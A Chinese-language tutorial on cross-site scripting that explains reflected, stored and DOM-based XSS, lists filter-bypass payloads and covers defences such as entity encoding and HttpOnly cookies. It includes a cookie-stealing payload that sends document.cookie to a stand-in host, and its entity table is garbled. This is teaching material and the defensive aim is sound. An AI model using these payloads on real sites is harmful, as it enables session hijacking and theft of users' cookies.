Web安全 - XSS漏洞
XSS Cross Site Scripting
一、原理
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些恶意的脚本代码(HTML、JavaScript)到Web页面中去,使别的用户访问都会执行相应的嵌入代码。
XSS实际上是利用用户对站点的信任。
危害
Cookie窃取,Session劫持,钓鱼攻击,蠕虫,DDos等。
二、分类
1. 反射型 Reflected XSS
非持久化,用户在页面输入框中输入数据,通过GET或者POST方法向服务器端传递数据,输入的数据一般是放在URL的Query string中,或者是form表单中,如果服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会造成反射型XSS。
黑客通常通过构造一个包含XSS代码的URL,诱导用户点击链接,触发XSS代码,达到劫持访问、获取 Cookie的目的。
2. 存储型 Stored XSS
持久化,通常是因为服务器端将用户输入的恶意脚本没有经过验证就存储在数据库中,并且通过调用数据库的方式,将数据呈现在浏览器上,当页面被用户打开的时候执行,每当用户打开浏览器,恶意脚本就会执行。存储型的XSS攻击相比反射型的危害性更大,因为每当用户打开页面,恶意脚本都会执行。
3. DOM型 DOM XSS
DOM (Document Object Model),全称:文档对象模型,是中立于平台和语言的接口,它允许程序和脚本动态地访问和更新文档的内容、结构和样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
容易导致DOM型的XSS的输入源包括:
Document.URL
Document.referrer
Document.cookie
Window.name
Location.[pathname|href|search|hash]
localStorage/globalStorage
DVWA代码分析:http://www.freebuf.com/articl...
三、攻击
- 绕过XSS-Filter,利用 <> 标签注入 HTML/JavaScript 代码;
- 利用HTML标签的属性值进行XSS攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的Web浏览器都支持Javascript伪协议,所以此类 XSS 攻击具有一定的局限性)
- 空格、回车和Tab。如果XSS Filter仅仅将敏感的输入字符列入黑名单,比如javascript,用户可以利用空格、回车和Tab键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>;
- 利用事件来执行跨站脚本。例如:<img src=“#” onerror= “alert(1)”/>,当src错误,就会执行onerror事件;
- 利用CSS跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)};
- 扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>;
- 利用字符编码,通过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式);
- 拆分跨站法,将XSS攻击的代码拆分开来,适用于应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下;
- DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。
获取Cookie Payload:
http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
四、防御
1、使用 XSS Filter
针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
过滤或移除特殊的 html 标签:<script>、<iframe>等。
过滤 js 事件的标签:onclick、onerror、onfocus等。
2、HTML实体
当需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码,在HTML中有些字符对于HTML来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。HTML实体的存在是导致XSS漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。
描述 实体名称 空格 & 和号 & < 小于号 < > 大于号 > ' 单引号 ' " 双引号 "
3、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中。
注意:在对不可信数据做编码的时候,不能图方便使用反斜杠 对特殊字符进行简单转义,比如将双引号 " 转义成 " ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制xhh 的方式进行编码。
4、Http Only Cookie
许多XSS攻击的目的就是为了获取用户的Cookie,将重要的Cookie标记为HTTP Only,这样的话当浏览器向服务端发起请求时就会带上Cookie字段,但是在脚本中却不能访问Cookie,这样就避免了XSS攻击利用js的document.cookie获取Cookie。